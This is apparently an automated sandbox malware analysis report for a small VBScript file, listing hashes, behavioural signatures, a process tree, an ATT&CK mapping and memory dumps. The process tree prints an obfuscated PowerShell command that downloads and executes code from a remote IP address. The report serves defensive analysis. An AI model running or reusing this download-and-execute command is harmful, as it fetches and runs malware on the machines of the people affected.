Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    06-06-2023 18:26

General

  • Target

    f.vbs

  • Size

    346B

  • MD5

    41e54b45d2ab4718156a2d978aeb2eaa

  • SHA1

    b8f924f1fd50d3feba999029615ae6d2b47ecea7

  • SHA256

    eac03f7bc83d42d686c55a12736a74086e1feada3ef4181f79c5435311a5358d

  • SHA512

    96a51af6ebb69dc01971fef39a5e033417a02299080804a7062182f64be5b9c5ce0ac863397e34bfeca5a1b1c767883a4b6b3888e36e8f443ac0f1bb661e7727

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $s3='IeX(NeW-OBJeCT NeT.W';$kds='eBCLIeNT).DOWNLO';Sleep 2;[BYTe[]];Sleep 3;$HJDRRRUY='kdsa4(''http://195.178.120.137:222/d.jpg'')'.RePLACe('kdsa4','ADSTRING');Sleep 1;IeX($s3+$kds+$HJDRRRUY);
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1932

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Replay Monitor

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Downloads

  • memory/1932-58-0x000000001B050000-0x000000001B332000-memory.dmp
    Filesize

    2.9MB

  • memory/1932-59-0x0000000002410000-0x0000000002418000-memory.dmp
    Filesize

    32KB

  • memory/1932-60-0x0000000002510000-0x0000000002590000-memory.dmp
    Filesize

    512KB

  • memory/1932-62-0x0000000002510000-0x0000000002590000-memory.dmp
    Filesize

    512KB

  • memory/1932-61-0x0000000002510000-0x0000000002590000-memory.dmp
    Filesize

    512KB

  • memory/1932-63-0x0000000002510000-0x0000000002590000-memory.dmp
    Filesize

    512KB